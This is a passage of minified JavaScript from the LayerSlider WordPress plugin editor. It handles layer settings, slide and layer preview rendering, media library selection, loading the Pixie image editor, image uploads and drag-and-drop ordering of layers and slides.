0===a.media)switch(a.type){case"img":a.media="img";break;case"div":a.media="html";break;default:a.media="text"}if(LayerSlider.updateLayerAttributes(a),LayerSlider.updateLayerActions(a),lsEditor.layers.setType(),LayerSlider.changeLayerScreenType(),LayerSlider.changeVideoType(),LayerSlider.setLayerMedia(a.media,jQuery(".lse-layer-thumb",i),a),LayerSlider.selectElementType(t.find('.lse-layer-element-type lse-button[data-element="'+a.type+'"]'),e),LayerSlider.maintainLayerWarnings(e),a.skip?jQuery(".lse-hide-layer",i).addClass("lse-hidden"):jQuery(".lse-hide-layer",i).removeClass("lse-hidden"),a.locked?jQuery(".lse-lock-layer",i).addClass("lse-locked"):jQuery(".lse-lock-layer",i).removeClass("lse-locked"),jQuery("#lse-transition-tabs .lse-layer-transition-checkbox").each((function(){var e=jQuery(this).trigger("change."+lsEditor.settings.nameSpace),t=e.closest("lse-sidebar-section"),i=t.index(),r=jQuery("#lse-transition-dropdown lse-li");e.prop("checked")&&!1!==a.transition[e.attr("name")]?(r.eq(i).addClass("lse-enabled"),t.removeClass("lse-disabled")):(r.eq(i).removeClass("lse-enabled"),t.addClass("lse-disabled"))})),-1!==["img","media","shape","icon","svg"].indexOf(a.media)){let e=jQuery("#lse-transition-dropdown");jQuery("lse-li.lse-active",e).hasClass("lse-textish-type-only")&&(e.click(),e.children().eq(0).click())}let r=jQuery("#lse-transition-tabs lse-sidebar-section:not(.lse-tabs-content-inactive)");r&&r.hasClass("lse-disabled")&&lsEditor.tabs.resetTabContentScroll(r),jQuery(".lse-scroll-transition-form .lse-toggle-options-visibility").trigger("input."+lsEditor.settings.nameSpace)},changeLayerScreenType:function(e,t){jQuery("#lse-layer-device-types lse-button").each((function(){var t=LS_activeLayerDataSet[0],i=jQuery(this),a=i.data("type");e&&e.is(i)&&(LS_UndoManager.add("layer.general","LAYER_DEVICE",{itemIndex:LS_activeLayerIndexSet[0],undo:{["hide_on_"+a]:!!t["hide_on_"+a]},redo:{["hide_on_"+a]:!t["hide_on_"+a]}}),t["hide_on_"+a]=!t["hide_on_"+a]),i[t["hide_on_"+a]?"removeClass":"addClass"]("lse-active")})),t&&(LS_DataSource.buildLayersListItem(LS_activeLayerIndexSet[0]),LayerSlider.generatePreviewItem(LS_activeLayerIndexSet[0]),LayerSlider.updatePreviewSelection())},changeVideoType:function(e){let t=jQuery("lse-layer-settings"),i=jQuery('input[name="backgroundvideo"]',t),a=jQuery("lse-subnav-item.lse-layer-content-tab",t);i.prop("checked")?(jQuery("lse-layer-settings").addClass("lse-bg-video"),a.click()):jQuery("lse-layer-settings").removeClass("lse-bg-video"),e&&"change"===e.type&&(LS_activeLayerDataSet[0].locked=!!i.prop("checked"),LayerSlider.selectLayer(LS_activeLayerIndexSet,{forceSelect:!0}),LS_DataSource.buildLayersListItem(LS_activeLayerIndexSet[0]))},willGeneratePreview:function(){clearTimeout(LayerSlider.timeout),LayerSlider.timeout=setTimeout((function(){LayerSlider.generatePreview()}),1e3)},generatePreview:function(){var e,t=window.lsSliderData.properties,i=lsEditor.workspace.getSize(),a=LS_activeSlideIndex,r=LS_activeSlideData,s=r.properties,l=r.sublayers,o=i.width,n=i.height,d=t.backgroundcolor,c=t.backgroundimage,u=window.lsPostsJSON||[],p=s.post_offset,y=s.background,h=s.bgcolor,S=s.bgsize,m=s.bgposition;n=-1!==n.indexOf("%")?400:parseInt(n),e=u[p=-1==p?a:p]||{},LS_previewArea.css({width:o,height:n}).empty(),c&&(c="url("+c+")"),d&&-1!==d.indexOf("gradient")&&(c?c+=", "+d:c=d,d=""),LS_previewHolder.css({backgroundColor:d||"transparent",backgroundImage:c||"none",backgroundRepeat:t.globalBGRepeat,backgroundAttachment:t.globalBGAttachment,backgroundPosition:t.globalBGPosition,backgroundSize:t.globalBGSize}),LS_previewItems=[],"[image-url]"==y&&(y=e["image-url"],LS_GUI.updateImagePicker("background",e["image-url"],{fromPost:!0})),S&&"inherit"!==S||(S=t.slideBGSize),m&&"inherit"!==m||(m=t.slideBGPosition),y&&(y="url("+y+")"),h&&-1!==h.indexOf("gradient")&&(y?y+=", "+h:y=h,h=""),LS_previewArea.css({backgroundColor:h||"transparent",backgroundImage:y||"none",backgroundSize:S||"auto",backgroundPosition:m||"center center",backgroundRepeat:"no-repeat"}),t.sliderclass&&LS_previewArea.addClass(t.sliderclass),LayerSlider.updateSlidePreviews();for(var v=0,L=l.length;v<L;v++)LayerSlider.generatePreviewItem(v,e);LayerSlider.generateStaticPreview()},generateStaticPreview:function(){LS_previewArea.children(".lse-static-layer").remove(),jQuery.each(LS_activeStaticLayersDataSet,(function(e,t){LayerSlider.generatePreviewItem(e,!1,{$targetArea:LS_previewArea,$layerItem:LS_previewArea.children(".lse-static-layer").eq(e),layerData:t.layerData,isStatic:!0})}))},willGeneratePreviewItem:function(e){clearTimeout(LayerSlider.timeout),LayerSlider.timeout=setTimeout((function(){LayerSlider.generatePreviewItem(e)}),200)},generateSelectedPreviewItems:function(){jQuery.each(LS_activeLayerIndexSet,(function(e,t){LayerSlider.generatePreviewItem(t)}))},generatePreviewItem:function(e,t,i){"array"===jQuery.type(e)&&(e=e[0]),i=i||{};var a=!1;(i=jQuery.extend({},{$targetArea:LS_previewArea,$layerItem:LS_previewItems[e],layerData:LS_activeSlideData.sublayers[e],isStatic:!1},i)).$layerItem&&(a=i.$layerItem.data("beforeConvertPositions"),i.$layerItem.remove());var r,s=i.layerData,l=LS_activeSlideData.sublayers?LS_activeSlideData.sublayers.length:0,o=s.html,n=s.htmlTag||"ls-layer",d=s.id,c=s.styles.top||0,u=s.styles.left||0,p=s.innerAttributes||{},y=s.outerAttributes||{},h=!1;if(o=jQuery.trim(LS_Utils.maybeAddLineBreaksToLayerContent(s)),i.isStatic&&(e=l+e),!t){var S=window.lsPostsJSON||[],m=LS_activeSlideData.properties.post_offset;-1==m&&(m=LS_activeSlideIndex),t=S[m]||{}}if(s.skip||s.__skip||s["hide_on_"+LS_activeScreenType])return r=jQuery('<ls-layer class="ls-l lse-disabled">').appendToWithIndex(i.$targetArea,e).hide(),i.isStatic||(LS_previewItems[e]=r),LayerSlider.addDraggable(),!0;if(s.icon&&-1!==["text","button","post","html"].indexOf(s.media)){o&&o.length&&(h=!0);let e,t=s.icon;try{e=jQuery(s.icon)}catch(e){}if(e){if(s.iconColor&&e.css("color",s.iconColor),s.iconGap){let t="left"===s.iconPlacement?"margin-right":"margin-left";e.css(t,s.iconGap+"em")}s.iconSize&&e.css("font-size",s.iconSize+"em"),s.iconVerticalAdjustment&&e.css("transform","translateY( "+s.iconVerticalAdjustment+"em )"),t=e[0].outerHTML}o="left"===s.iconPlacement?t+o:o+t}if("img"===s.type||"img"===s.media){var v=s.image;"[image-url]"==v&&(v=t["image-url"]||"",LS_GUI.updateImagePicker("image",t["image-url"],{fromPost:!0}));var L=v?'<img src="'+v+'">':'<ls-layer class="lse-layer-placeholder lse-image-placeholder">'+LS_InterfaceIcons.layerTypes.img+"<lse-ib>"+LS_l10n.SBPreviewImagePlaceholder+"</lse-ib></ls-layer>";r=jQuery(L).hide().appendToWithIndex(i.$targetArea,e)}else if("post"===s.media){var g=s.post_text_length;for(var f in t)if(o&&-1!==o.indexOf("["+f+"]")){var b=t[f];("title"==f||"content"==f||"excerpt"==f)&&g>0&&(b=LS_Utils.stripTags(b).substr(0,g),b=LS_Utils.nl2br(b)),o=o.replace("["+f+"]",b)}(r=LS_Utils.shouldWrapLayerContent(o)?jQuery("<"+n+">").html(o):jQuery(o)).appendToWithIndex(i.$targetArea,e)}else"media"!==s.media||o?"icon"!==s.media||o?"shape"!==s.media||o?(r=jQuery("<"+n+">").appendToWithIndex(i.$targetArea,e),""!==o&&r.html(o)):r=jQuery('<ls-layer class="lse-layer-placeholder lse-shape-placeholder">'+LS_InterfaceIcons.layerTypes.shape+"<lse-ib>"+LS_l10n.SBPreviewShapePlaceholder+"</lse-ib></ls-layer>").appendToWithIndex(i.$targetArea,e):r=jQuery('<ls-layer class="lse-layer-placeholder lse-icon-placeholder">'+LS_InterfaceIcons.layerTypes.icon+"<lse-ib>"+LS_l10n.SBPreviewIconPlaceholder+"</lse-ib></ls-layer>").appendToWithIndex(i.$targetArea,e):r=jQuery('<ls-layer class="lse-layer-placeholder lse-media-placeholder">'+LS_InterfaceIcons.layerTypes.media+"<lse-ib>"+LS_l10n.SBPreviewMediaPlaceholder+"</lse-ib></ls-layer>").appendToWithIndex(i.$targetArea,e);h&&r.addClass("ls-ib-icon");var w,_,x,j={};for(w in s.transition)if(-1!==LS_transformStyles.indexOf(w)){if(!(_=s.transition[w])&&0!==_)continue;_=_.toString(),x=-1!==w.indexOf("scale")?1:0,parseFloat(_)!==x&&(j[w]=parseFloat(_))}let k={"z-index":100+l-e};for(let e in s.styles){let t=s.styles[e];if((t||0===t)&&"unset"!==t&&"inherit"!==t&&"object"!=typeof t){if(t=t.toString(),";"==t.slice(-1)&&(t=t.substring(0,t.length-1)),k[e]=isNumber(t)?t+"px":t,"backdrop-filter"===e&&(k["-webkit-backdrop-filter"]=t),"background-clip"===e){if(!LS_editorMeta.isActivatedSite)continue;k["-webkit-background-clip"]=t,"text"===t&&(k["text-fill-color"]="transparent",k["-webkit-text-fill-color"]="transparent")}-1!==["z-index","font-weight","opacity"].indexOf(e)&&(k[e]=t)}}s.layerBackground&&("[image-url]"===s.layerBackground?(LS_GUI.updateImagePicker("layerBackground",t["image-url"],{fromPost:!0}),k["background-image"]='url("'+t["image-url"]+'")'):k["background-image"]='url("'+s.layerBackground+'")'),k["background-color"]&&-1!==k["background-color"].indexOf("gradient")&&(k["background-image"]?k["background-image"]+=", "+k["background-color"]:k["background-image"]=k["background-color"],delete k["background-color"]),s.hasTransforms=!jQuery.isEmptyObject(j),s.title&&r.attr("title",s.title),s.tabindex&&r.attr("tabindex",s.tabindex);try{r.attr(jQuery.extend({},p,y))}catch(e){}r.attr({id:d,style:s.style}).css(k).css({whiteSpace:s.styles.wordwrap?"normal":"nowrap"}).addClass(s.class),i.isStatic||(LS_previewItems[e]=r,-1!==LS_activeLayerIndexSet.indexOf(e)?r.addClass("ui-selected"):r.removeClass("ui-selected")),r.addClass("lse-"+s.media+"-layer"),r.addClass(i.isStatic?"lse-disabled lse-static-layer":"ls-l"),(LS_Revisions.opened||s.locked)&&r.addClass("lse-disabled");var I=r.children("iframe,video").eq(0);if(I.length){if(s.transition.backgroundvideo)return r.addClass("lse-disabled lse-bgvideo").css({pointerEvents:"none"}).children("video").prop("controls",!1),s.transition.overlay&&"disabled"!==s.transition.overlayer&&jQuery("<ls-layer>",{class:"lse-video-overlay",style:"background-image: url("+s.transition.overlay+")"}).appendTo(r),void LayerSlider.updatePreviewSelection();var Q=parseInt(I.attr("width"))||I.width(),D=parseInt(I.attr("height"))||I.height();s.styles.width||r.width(Q),s.styles.height||r.height(D)}if("media"===s.media&&r.children("audio,video").length&&("enabled"===s.transition.controls?r.children("audio,video").prop("controls",!0):"disabled"===s.transition.controls&&r.children("audio,video").prop("controls",!1)),r.is("img")?r.on("load",(function(){LayerSlider.setPositions(r,c,u),LayerSlider.updatePreviewSelection(),clearTimeout(LayerSlider.selectableTimeout),LayerSlider.selectableTimeout=setTimeout((function(){LayerSlider.updatePreviewSelection()}),100)})).attr("src",r.attr("src")):(LayerSlider.setPositions(r,c,u,!1,a),LayerSlider.updatePreviewSelection()),j.transformPerspective=500,j.transformOrigin=s.transition.transformoriginin||"50% 50% 0",-1!==j.transformOrigin.indexOf("slider")){var C=lsEditor.workspace.getSize(),T=C.width,P=C.height,E=parseFloat(r[0].style.left),A=parseFloat(r[0].style.top);r.outerWidth(),r.outerHeight();j.transformOrigin=j.transformOrigin.replace("sliderleft",-E+"px").replace("sliderright",T-E+"px").replace("slidercenter",T/2-E+"px").replace("slidermiddle",P/2-A+"px").replace("slidertop",-A+"px").replace("sliderbottom",P-A+"px")}TweenMax.set(r[0],j),LayerSlider.addDraggable()},setPositions:function(e,t,i,a,r){e.show();var s=t?parseFloat(t):0,l=i?parseFloat(i):0,o=e[0].style,n=(parseInt(o.marginLeft),parseInt(o.marginTop),o.left),d=o.top;if(o.left=r?r.left:0,o.top=r?r.top:0,i&&-1!==i.indexOf("%")&&(l=0===l?0:100===l?LS_previewArea.width()-e.outerWidth():LS_previewArea.width()/100*l-e.outerWidth()/2),t&&-1!==t.indexOf("%")&&(s=0===s?0:100===s?LS_previewArea.height()-e.outerHeight():LS_previewArea.height()/100*s-e.outerHeight()/2),l=Math.round(l),s=Math.round(s),a)return o.left=n,o.top=d,{top:s,left:l};e.css({top:s,left:l})},previewItemAtIndex:function(e){return LS_previewArea.children(".ls-l").eq(e)},updatePreviewSelection:function(){if(LS_activeLayerIndexSet.length&&LS_activeSlideData.sublayers.length&&!jQuery(".lse-editing").length){if(1===LS_activeLayerIndexSet.length){var e=LS_activeLayerDataSet[0];if(e&&(e.locked||e.skip||e["hide_on_"+LS_activeScreenType]))return void $lasso.hide()}var t={left:1/0,top:1/0},i={left:-1/0,top:-1/0},a=[];if(jQuery.each(LS_activeLayerIndexSet,(function(e,r){var s=LS_previewItems[r];let l=LS_activeLayerDataSet[e];if(l&&(l.skip||l.locked||l["hide_on_"+LS_activeScreenType]))return!0;if(s){var o={left:(parseFloat(s[0].style.left)+parseInt(s.css("margin-left")))*LS_previewZoom||0,top:(parseFloat(s[0].style.top)+parseInt(s.css("margin-top")))*LS_previewZoom||0},n={top:o.top+s.outerHeight()*LS_previewZoom,left:o.left+s.outerWidth()*LS_previewZoom};o.left<t.left&&(t.left=o.left),o.top<t.top&&(t.top=o.top),n.left>i.left&&(i.left=n.left),n.top>i.top&&(i.top=n.top),a.push(s)}})),t.width=i.left-t.left,t.height=i.top-t.top,$lasso.css(t).attr({"data-info-0":"w: "+Math.round(t.width/LS_previewZoom)+"px","data-info-1":"h: "+Math.round(t.height/LS_previewZoom)+"px"}).show(),a.length||$lasso.hide(),$lasso.hasClass("ui-resizable-disabled")&&$lasso.removeClass("ui-resizable-disabled"),1===LS_activeLayerIndexSet.length){var r=LS_activeLayerIndexSet[0];LS_previewItems[r]&&LS_previewItems[r].hasClass("lse-layer-placeholder")&&$lasso.addClass("ui-resizable-disabled")}t.width&&t.height||$lasso.addClass("ui-resizable-disabled")}else $lasso.hide()},hidePreviewSelection:function(){
jQuery("lse-workspace-frame").addClass("lse-hide-selection")},showPreviewSelection:function(){jQuery("lse-workspace-frame").removeClass("lse-hide-selection")},updateRulerLines:function(){jQuery(".lse-ruler-line-x").each((function(){jQuery(this).css("top",jQuery(this).data("originalTop")*LS_previewZoom)})),jQuery(".lse-ruler-line-y").each((function(){jQuery(this).css("left",jQuery(this).data("originalLeft")*LS_previewZoom)}))},openMediaLibrary:function(){jQuery("body").on("click",".lse-media-upload",(function(e){e.preventDefault(),uploadInput=this;var t=jQuery(this).hasClass("lse-insert-media")?["video","audio"]:["image"],i=jQuery(this).hasClass("lse-bulk-upload"),a=wp.media({title:"image"===t[0]?LS_l10n.SBMediaLibraryImage:LS_l10n.SBMediaLibraryMedia,multiple:i,library:{type:t},button:{text:"Insert"}});jQuery(a.modal.el).addClass("lse-wp-modal"),a.on("select",(function(){var e,t,i=a.state().get("selection").first().toJSON(),r=a.state().get("selection").toJSON(),s=[];if(jQuery(uploadInput).hasClass("lse-slide-image")){for(i.sizes.medium,e=i.sizes.full.url,LS_GUI.updateImagePicker(jQuery(uploadInput),e),LS_UndoManager.add("slide.general","SLIDE_IMAGE",{itemIndex:LS_activeSlideIndex,undo:{background:LS_activeSlideData.properties.background,backgroundId:LS_activeSlideData.properties.backgroundId,backgroundThumb:LS_activeSlideData.properties.backgroundThumb},redo:{background:i.url,backgroundId:i.id,backgroundThumb:e}}),LS_activeSlideData.properties.background=i.url,LS_activeSlideData.properties.backgroundId=i.id,LS_activeSlideData.properties.backgroundThumb=e,c=1;c<r.length;c++){r[c].sizes.medium,e=r[c].sizes.full.url;var l=jQuery.extend(!0,{},LS_DataSource.getDefaultSlideData());l.background=r[c].url,l.backgroundId=r[c].id,l.backgroundThumb=e,l={properties:l,sublayers:[]},LayerSlider.addSlide(l,{selectSlide:!1,atIndex:LS_activeSlideIndex+c})}LayerSlider.updateSlidePreviews()}else if(jQuery(uploadInput).hasClass("lse-slide-thumbnail"))i.sizes.medium,e=i.sizes.full.url,LS_GUI.updateImagePicker(jQuery(uploadInput),e),LS_UndoManager.add("slide.general","SLIDE_THUMBNAIL",{itemIndex:LS_activeSlideIndex,undo:{thumbnail:LS_activeSlideData.properties.thumbnail,thumbnailId:LS_activeSlideData.properties.thumbnailId,thumbnailThumb:LS_activeSlideData.properties.thumbnailThumb},redo:{thumbnail:i.url,thumbnailId:i.id,thumbnailThumb:e}}),LS_activeSlideData.properties.thumbnail=i.url,LS_activeSlideData.properties.thumbnailId=i.id,LS_activeSlideData.properties.thumbnailThumb=e,LayerSlider.updateSlidePreviews();else if(jQuery(uploadInput).hasClass("lse-layer-image")){for(i.sizes.thumbnail,e=i.sizes.full.url,LS_GUI.updateImagePicker(jQuery(uploadInput),e),LS_UndoManager.add("layer.general","LAYER_IMAGE",{itemIndex:LS_activeLayerIndexSet[0],undo:{image:LS_activeLayerDataSet[0].image,imageId:LS_activeLayerDataSet[0].imageId,imageThumb:LS_activeLayerDataSet[0].imageThumb},redo:{image:i.url,imageId:i.id,imageThumb:e}}),LS_activeLayerDataSet[0].image=i.url,LS_activeLayerDataSet[0].imageId=i.id,LS_activeLayerDataSet[0].imageThumb=e,LayerSlider.autoRenameLayer(LS_activeLayerIndexSet[0]),c=1;c<r.length;c++)r[c].sizes.thumbnail,e=r[c].sizes.full.url,(t=jQuery.extend(!0,{},LS_DataSource.getDefaultLayerData())).image=r[c].url,t.imageId=r[c].id,t.imageThumb=e,t.styles.top=10*c+"px",t.styles.left=10*c+"px",LayerSlider.autoRenameLayer(null,t),LS_activeSlideData.sublayers.unshift(t),s.push({itemIndex:0,undo:{data:{}},redo:{data:t}});LS_DataSource.buildLayersList(),s.length&&LS_UndoManager.add("slide.layers","LAYER_NEW_M",s)}else if(jQuery(uploadInput).hasClass("lse-media-image"))i.sizes.medium,e=i.sizes.full.url,LS_GUI.updateImagePicker(jQuery(uploadInput),e),LS_UndoManager.add("layer.general","VIDEO_POSTER",{itemIndex:LS_activeLayerIndexSet[0],undo:{poster:LS_activeLayerDataSet[0].poster,posterId:LS_activeLayerDataSet[0].posterId,posterThumb:LS_activeLayerDataSet[0].posterThumb},redo:{poster:i.url,posterId:i.id,posterThumb:e}}),LS_activeLayerDataSet[0].poster=i.url,LS_activeLayerDataSet[0].posterId=i.id,LS_activeLayerDataSet[0].posterThumb=e;else if(jQuery(uploadInput).hasClass("lse-layer-background-image")){i.sizes.medium,e=i.sizes.full.url,LS_GUI.updateImagePicker(jQuery(uploadInput),e);let t=[];jQuery.each(LS_activeLayerDataSet,(function(a,r){let s=LS_activeLayerIndexSet[a],l=jQuery("#lse-layers-list lse-li").eq(s);t.push({itemIndex:s,undo:{layerBackground:r.layerBackground,layerBackgroundId:r.layerBackgroundId,layerBackgroundThumb:r.layerBackgroundThumb},redo:{layerBackground:i.url,layerBackgroundId:i.id,layerBackgroundThumb:e}}),r.layerBackground=i.url,r.layerBackgroundId=i.id,r.layerBackgroundThumb=e,LayerSlider.setLayerMedia(r.media,jQuery(".lse-layer-thumb",l),r)})),LS_UndoManager.add("layer.general","LAYER_BG",t)}else if(jQuery(uploadInput).hasClass("lse-global-background"))i.sizes.medium,e=i.sizes.full.url,LS_GUI.updateImagePicker(jQuery(uploadInput),e),window.lsSliderData.properties.backgroundimage=i.url,window.lsSliderData.properties.backgroundimageId=i.id;else if(jQuery(uploadInput).hasClass("lse-slider-preview"))i.sizes.medium,e=i.sizes.full.url,LS_GUI.updateImagePicker(jQuery(uploadInput),e),window.lsSliderData.meta||(window.lsSliderData.meta={}),window.lsSliderData.meta.preview=i.url,window.lsSliderData.meta.previewId=i.id;else if(jQuery(uploadInput).hasClass("lse-insert-media")){var o=!1,n=!1,d=[],u=[],p="",y="";for(c=0;c<r.length;c++)p="/"+r[c].url.split("/").slice(3).join("/"),"video"===r[c].type?(o=!0,d.push({url:p,mime:r[c].mime})):"audio"===r[c].type&&(n=!0,u.push({url:p,mime:r[c].mime}));if(o){for(y+='<video width="640" height="360" preload="metadata" controls>\r\n',c=0;c<d.length;c++)y+='\t<source src="'+d[c].url+'" type="'+d[c].mime+'">\r\n';y+="</video>"}if(n){for(o&&(y+="\r\n\r\n"),y+='<audio preload="metadata" nocontrols>\r\n',c=0;c<u.length;c++)y+='\t<source src="'+u[c].url+'" type="'+u[c].mime+'">\r\n';y+="</audio>"}LS_UndoManager.add("layer.general","LAYER_SETTINGS",{itemIndex:LS_activeLayerIndexSet[0],undo:{html:jQuery("#lse-layer-content").val()},redo:{html:y}}),LS_activeLayerDataSet[0].html=y,jQuery("#lse-layer-content").val(y)}else jQuery(uploadInput).val(i.url),jQuery(uploadInput).is('input[name="image"]')&&jQuery(uploadInput).prev().attr("src",i.url);LayerSlider.generatePreview(),lsSetEditorDirtyState(!0)})),a.open()}))},initImageEditor:function(e){var t=LS_editorModules.pixie.baseURL;pixieJSFile=t+"/"+LS_editorModules.pixie.files.js,pixieCSSFile=t+"/"+LS_editorModules.pixie.files.css,jQuery("<link>").appendTo("head").attr({type:"text/css",rel:"stylesheet",href:pixieCSSFile}),jQuery("<pixie-editor></pixie-editor>").prependTo("body"),jQuery.getScript(pixieJSFile).done((function(){window.pixieEditor=new Pixie({crossOrigin:!0,urls:{assets:t+"/"},tools:{stickers:{replaceDefault:!0,items:[]}},ui:{mode:"overlay",theme:"dark",openImageDialog:!1,toolbar:{hideOpenButton:!0},nav:{position:"top",replaceDefault:!0,items:[{name:"filter",icon:"filter-custom",action:"filter"},{type:"separator"},{name:"resize",icon:"resize-custom",action:"resize"},{name:"crop",icon:"crop-custom",action:"crop"},{name:"transform",icon:"transform-custom",action:"rotate"},{type:"separator"},{name:"draw",icon:"pencil-custom",action:"draw"},{name:"text",icon:"text-box-custom",action:"text"},{name:"shapes",icon:"polygon-custom",action:"shapes"},{name:"frame",icon:"frame-custom",action:"frame"},{type:"separator"},{name:"corners",icon:"rounded-corner-custom",action:"round"},{name:"background",icon:"background-custom",action:"background"},{name:"merge",icon:"merge-custom",action:"merge"}]}},onOpen:function(){LS_imageEditorOpened=!0},onLoad:function(){pixieEditor.resetAndOpenEditor("image",e)},onClose:function(){LS_imageEditorOpened=!1,jQuery("#pixie-current-image").removeAttr("id")},onSave:function(e,t){lsEditor.notify.show({icon:"images",text:LS_l10n.notifyPixieSave}),setTimeout((function(){LayerSlider.uploadImageEditorPic(e,(function(){lsEditor.notify.hide(),window.pixieEditor.close()}))}),1e3)}})})).fail((function(){}))},downloadImageEditor:function(e){lsEditor.loading.show("modal",LS_l10n.moduleDLImageEditor),jQuery.getJSON(ajaxurl,{action:"ls_download_module",module:e.moduleHandle},(function(t){t&&t.success?e.onComplete&&e.onComplete():t.message&&(lsEditor.loading.hide(),lsCommon.smartAlert.open({width:700,theme:"red",title:LS_l10n.moduleDLErrorTitle,text:t.message}))}))},openImageEditor:function(e){window.pixieEditor?pixieEditor.resetAndOpenEditor("image",e):LS_editorModules.pixie.needsDL?LayerSlider.downloadImageEditor({moduleHandle:LS_editorModules.pixie.handle,onComplete:function(){lsEditor.loading.hide(),LS_editorModules.pixie.needsDL=!1,LayerSlider.initImageEditor(e)}}):LayerSlider.initImageEditor(e)},uploadImageEditorPic:function(e,t){var i=jQuery("#pixie-current-image").removeAttr("id");imgName="pixie_"+Date.now()+".png",imgBlob=LS_Utils.dataURItoBlob(e),imgBlob.lastModifiedDate=new Date,imgBlob.name=imgName,imgBlob.filename=imgName,LayerSlider.uploadImageToMediaLibrary(imgBlob,(function(e){i.attr("src",e.url),i.hasClass("lse-global-background")?(lsSliderData.properties.backgroundimage=e.url,lsSliderData.properties.backgroundimageId=e.id):i.hasClass("lse-slider-preview")?(lsSliderData.meta.preview=e.url,lsSliderData.meta.previewId=e.id):i.hasClass("lse-slide-image")?(LS_DataSource.updateProperties("slide.general","SLIDE_IMAGE",LS_activeSlideIndex,LS_activeSlideData.properties,{background:e.url,backgroundId:e.id,backgroundThumb:e.url}),LayerSlider.updateSlidePreviews(),LayerSlider.generatePreview()):i.hasClass("lse-slide-thumbnail")?(LS_DataSource.updateProperties("slide.general","SLIDE_THUMBNAIL",LS_activeSlideIndex,LS_activeSlideData.properties,{thumbnail:e.url,thumbnailId:e.id,thumbnailThumb:e.url}),LayerSlider.updateSlidePreviews()):i.hasClass("lse-layer-image")?(LS_DataSource.updateProperties("layer.general","LAYER_IMAGE",LS_activeLayerIndexSet[0],LS_activeLayerDataSet[0],{image:e.url,imageId:e.id,imageThumb:e.url}),LayerSlider.generatePreviewItem(LS_activeLayerIndexSet[0]),LS_DataSource.buildLayersListItem(LS_activeLayerIndexSet[0])):i.hasClass("lse-media-image")?LS_DataSource.updateProperties("layer.general","VIDEO_POSTER",LS_activeLayerIndexSet[0],LS_activeLayerDataSet[0],{poster:e.url,posterId:e.id,posterThumb:e.url}):i.hasClass("lse-layer-background-image")&&(LS_DataSource.updateProperties("layer.general","LAYER_BG",LS_activeLayerIndexSet[0],LS_activeLayerDataSet[0],{layerBackground:e.url,layerBackgroundId:e.id,layerBackgroundThumb:e.url}),LayerSlider.generatePreviewItem(LS_activeLayerIndexSet[0])),LS_GUI.updateImagePicker(i,e.url),lsSetEditorDirtyState(!0),t&&t()}))},handleDroppedImages:function(e){var t=e.originalEvent,i=t.dataTransfer.files,a=LS_previewArea.offset(),r=(jQuery(window).scrollLeft()+t.clientX-a.left)/LS_previewZoom,s=(jQuery(window).scrollTop()+t.clientY-a.top)/LS_previewZoom,l=[],o=[],n=1;if(r=Math.round(r),s=Math.round(s),0===i.length)return lsEditor.dropZone.hide(),!1;jQuery.each(i,(function(e,t){if(-1!==t.type.indexOf("svg+xml"))return t.text().then((e=>{let a=LS_Utils.normalizeSVG(e);a?(LayerSlider.addFormattedLayer("svg",{html:a.html,autoSubtitle:!1,subtitle:LS_Utils.beautifyFileName(t.name),styles:{width:a.width,height:a.height,top:s+"px",left:r+"px"}}),n++===i.length&&lsEditor.dropZone.hide()):lsEditor.dropZone.hide()})),!0;-1!==t.type.indexOf("image")?LayerSlider.uploadImageToMediaLibrary(t,(function(e){var a=jQuery.extend(!0,{},LS_DataSource.getDefaultLayerData());a.image=e.url,a.imageId=e.id,a.imageThumb=e.sizes.thumbnail?e.sizes.thumbnail.url:e.url,a.subtitle=LS_Utils.beautifyFileName(t.name),a.styles.left=r+"px",a.styles.top=s+"px",o.push(0),l.push(a),r+=20,s+=20,n++===i.length&&(LayerSlider.addLayer(l,o),lsEditor.dropZone.hide())})):lsEditor.dropZone.hide()}))},uploadImageToMediaLibrary:function(e,t){if(0===e.type.indexOf("image")){var i=new FormData;i.append("action","upload-attachment"),i.append("async-upload",e,e.name),i.append("name",e.name),i.append("_wpnonce",_wpPluploadSettings.defaults.multipart_params._wpnonce),jQuery.ajax({url:ajaxurl.replace("admin-ajax","async-upload"),method:"POST",data:i,dataType:"json",processData:!1,contentType:!1,error:function(e,t,i){lsCommon.smartAlert.open(LS_l10n.SBUploadErrorMessage.replace("%s",i)),lsEditor.dropZone.hide()},success:function(e){if(!e||!e.success)return lsCommon.smartAlert.open(LS_l10n.SBUploadError),void lsEditor.dropZone.hide();void 0!==t&&t(e.data)}})}},addLayerSortables:function(){jQuery("#lse-layers-list").sortable({handle:".lse-layer-thumb-wrapper",containment:"parent",tolerance:"pointer",axis:"y",start:function(e,t){t.item.addClass("lse-dragged-layer"),LayerSlider.dragIndex=jQuery(".ui-sortable-placeholder").index()-1},stop:function(e,t){var i=LayerSlider.dragIndex,a=jQuery(".lse-dragged-layer").removeClass("lse-dragged-layer").index();LS_UndoManager.add("layer.order","LAYER_ORDER",{itemIndex:null,undo:{from:a,to:i},redo:{from:i,to:a}}),a>-1&&LS_Utils.moveArrayItem(LS_activeSlideData.sublayers,i,a),LS_activeLayerIndexSet=[],jQuery("#lse-layers-list lse-li.lse-active").each((function(){LS_activeLayerIndexSet.push(jQuery(this).index())})),LayerSlider.reindexLayers(),LayerSlider.generatePreview()}})},addSlideSortables:function(){LS_Revisions.opened||jQuery("#lse-slide-tabs").sortable({containment:"parent",tolerance:"pointer",handle:".lse-slide-preview",items:".lse-slide-tab",cancel:".lse-unsortable",distance:3,start:function(){LayerSlider.dragIndex=jQuery(".ui-sortable-placeholder").index()-1},change:function(){jQuery(".ui-sortable-helper").addClass("lse-dragged-slide")},stop:function(e,t){var i=LayerSlider.dragIndex,a=jQuery(".lse-dragged-slide").removeClass("lse-dragged-slide").index();a>-1&&LS_Utils.moveArrayItem(window.lsSliderData.layers,i,a),LS_activeSlideIndex=jQuery("#lse-slide-tabs .lse-slide-tab.lse-active").index(),LS_activeStaticLayersDataSet=LayerSlider.staticLayersForSlide(LS_activeSlideIndex),LayerSlider.reindexStaticLayers(),LayerSlider.generateStaticPreview(),LS_DataSource.buildLayersList(),lsSetEditorDirtyState(!0)}})},disableSlideSortables:function(){jQuery("#lse-slide-tabs").sortable("disable")},enableSlideSortables:function(){jQuery("#lse-slide-tabs").sortable("enable")},addDraggable:function(){LS_previewArea.children(".ls-l").draggable({snap:".ls-l:not(.lse-disabled), .lse-ruler-line, lse-preview-area",snapTolerance:10,cancel:".lse-disabled",start:function(e,t){lsEditor.layers.highlight.disable(),t.helper.hasClass("ui-selected")||t.helper.addClass("ui-selected").trigger("selectablestop.ls"),$lasso.data("originalPosition",$lasso.position({left:parseFloat($lasso[0].style.left),top:parseFloat($lasso[0].style.top)})),jQuery("#lse-workspace 